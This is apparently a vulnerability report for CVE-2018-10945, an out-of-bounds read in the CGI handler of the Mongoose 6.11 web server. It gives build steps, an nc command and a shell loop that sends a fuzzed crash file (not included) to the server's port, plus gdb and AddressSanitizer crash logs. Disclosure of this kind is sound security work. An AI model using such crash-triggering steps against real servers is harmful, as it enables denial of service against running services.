title: CVE-2018-10945 mongoose越界访问 author: hac425 tags:
Hello , I found a vulneratility in mg_handle_cgi function
The function is in mongoose.c
, line 8925
8923 if (mg_start_process(opts->cgi_interpreter, prog, blk.buf, blk.vars, dir,
8924 fds[1]) != 0) {
8925 size_t n = nc->recv_mbuf.len - (hm->message.len - hm->body.len);
8926 struct mg_connection *cgi_nc =
8927 mg_add_sock(nc->mgr, fds[0], mg_cgi_ev_handler MG_UD_ARG(nc));
8928 struct mg_http_proto_data *cgi_pd = mg_http_get_proto_data(nc);
8929 cgi_pd->cgi.cgi_nc = cgi_nc;
8930 #if !MG_ENABLE_CALLBACK_USERDATA
8931 cgi_pd->cgi.cgi_nc->user_data = nc;
8932 #endif
8933 nc->flags |= MG_F_HTTP_CGI_PARSE_HEADERS;
8934 /* Push POST data to the CGI */
8935 if (n > 0 && n < nc->recv_mbuf.len) {
8936 mg_send(cgi_pd->cgi.cgi_nc, hm->body.p, n);
8937 }
note line 8925
, n is assigned by nc->recv_mbuf.len - (hm->message.len - hm->body.len) ,
when I debug it , I found that nc->recv_mbuf.len=1024 and hm->message.len - hm->body.len is a small number.
this may lead n > hm->body.len
, This would lead program to read the memory out of the hm->body's memory.
And when I trigger this vulneratility many times (200+) , I got a null pointer dereference (uaf
)
The Steps to produce the vulneratility
Step 1
Download the latest source of mongoose , and compile the code in directory examples/simplest_web_server
Then run it
wget https://github.com/cesanta/mongoose/archive/6.11.zip
unzip 6.11.zip
cd mongoose-6.11/examples/simplest_web_server
make
./simplest_web_server
This would start a http server on port 8000
01:09 haclh@ubuntu:simplest_web_server $ ./simplest_web_server
Starting web server on port 8000
Step 2 Use nc to send payload to the 8000 port
nc 127.0.0.1 8000 < ~/vmdk_kernel/fuzz_workplace/crash.fuzz
PS: the crash.fuzz file will attach with the email Then we can get Segmentation fault (core dumped)
If you want to produce the vulneratility in gdb, you should send many times (:may be 200+. payload to tigger crash Step 1 Download and compile the source , and use gdb to start it.
01:27 haclh@ubuntu:simplest_web_server $ gdb ./simplest_web_server -q
Reading symbols from ./simplest_web_server...done.
(gdb) set follow-fork-mode parent
(gdb) r
Starting program: /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Starting web server on port 8000
ps: you should set follow-fork-mode parent
Step 2 Send the payload many times to the port
01:33 haclh@ubuntu:simplest_web_server $ cat cyc.sh
# !/bin/bash
for i in {1..1000}
do
nc 127.0.0.1 8000 < ~/vmdk_kernel/fuzz_workplace/crash.fuzz
echo $i
done
echo $i
01:33 haclh@ubuntu:simplest_web_server $ ./cyc.sh
I write a shell script to do this.
Then We can see gdb got the crash
01:27 haclh@ubuntu:simplest_web_server $ gdb ./simplest_web_server -q
Reading symbols from ./simplest_web_server...done.
(gdb) set follow-fork-mode parent
(gdb) r
Starting program: /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Starting web server on port 8000
Program received signal SIGSEGV, Segmentation fault.
0x00000000004087cf in mg_send (nc=0x6235a0, buf=0x623d10, len=68) at ../../mongoose.c:2635
2635 nc->iface->vtable->tcp_send(nc, buf, len);
(gdb) p nc->iface
$1 = (struct mg_iface *) 0x0
(gdb) p nc
$2 = (struct mg_connection *) 0x6235a0
(gdb) x/4xg 0x6235a0
0x6235a0: 0x00007ffff7bb4cc8 0x00007ffff7bb4cc8
0x6235b0: 0x0000000000000000 0x0000000000000000
(gdb) x/4xg 0x6235a0-0x10
0x623590: 0x0000000000000000 0x0000000000000161
0x6235a0: 0x00007ffff7bb4cc8 0x00007ffff7bb4cc8
(gdb) x/4xg 0x6235a0-0x10+0x160
0x6236f0: 0x0000000000000160 0x00000000000000e0
0x623700: 0x0000000000623b10 0x0000000000000000
(gdb)
we can see that nc->iface is 0x0, and the code want nc->iface->vtable->tcp_send
, this lead null pointer dereference
If you know the gibc malloc , you can find that nc
is freed
And you can comile with clang and AddressSanitizer to get more detail information
clang -fsanitize=address simplest_web_server.c ../../mongoose.c -o simplest_web_server -g -W -Wall -Werror -I../.. -Wno-unused-function -DMG_DISABLE_DAV_AUTH -DMG_ENABLE_FAKE_DAVLOCK -pthread
then run it and send the payload to the server, you could get the log below it.
01:19 haclh@ubuntu:simplest_web_server $ ./simplest_web_server
# Starting web server on port 8000
==16867==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000000980 at pc 0x0000004e653d bp 0x7fffb8bab790 sp 0x7fffb8baaf40
READ of size 876 at 0x619000000980 thread T0
# 0 0x4e653c in __asan_memcpy /home/haclh/vmdk_kernel/libfuzzer-workshop-master/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23
# 1 0x53b9d6 in mbuf_insert /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:1477:24
# 2 0x53bafc in mbuf_append /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:1490:10
# 3 0x550dc3 in mg_socket_if_tcp_send /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3356:3
# 4 0x546ffa in mg_send /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2635:5
# 5 0x582179 in mg_handle_cgi /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:8936:7
# 6 0x56e5a5 in mg_send_http_file /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:7967:5
# 7 0x56adb7 in mg_serve_http /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:8072:3
# 8 0x5219c7 in ev_handler /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server.c:11:5
# 9 0x544af8 in mg_call /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2241:5
# 10 0x55d475 in mg_http_call_endpoint_handler /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:8426:3
# 11 0x55cdb3 in mg_http_handler /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:6245:7
# 12 0x544af8 in mg_call /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2241:5
# 13 0x5494e7 in mg_recv_common /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2689:3
# 14 0x548c38 in mg_if_recv_tcp_cb /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2693:3
# 15 0x5526ca in mg_handle_tcp_read /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3554:7
# 16 0x55196f in mg_mgr_handle_conn /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3679:9
# 17 0x55564b in mg_socket_if_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3877:5
# 18 0x546906 in mg_mgr_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2407:11
# 19 0x52191b in main /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server.c:33:5
# 20 0x7f4cbf9a582f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
# 21 0x41ad68 in _start (/tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server+0x41ad68)
0x619000000980 is located 0 bytes to the right of 1024-byte region [0x619000000580,0x619000000980)
allocated by thread T0 here:
# 0 0x4e76f8 in __interceptor_malloc /home/haclh/vmdk_kernel/libfuzzer-workshop-master/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88
# 1 0x552521 in mg_handle_tcp_read /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3518:24
# 2 0x55196f in mg_mgr_handle_conn /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3679:9
# 3 0x55564b in mg_socket_if_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3877:5
# 4 0x546906 in mg_mgr_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2407:11
# 5 0x52191b in main /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server.c:33:5
# 6 0x7f4cbf9a582f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/haclh/vmdk_kernel/libfuzzer-workshop-master/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23 in __asan_memcpy
Shadow bytes around the buggy address:
0x0c327fff80e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff8110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff8120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c327fff8130:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==16867==ABORTING
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。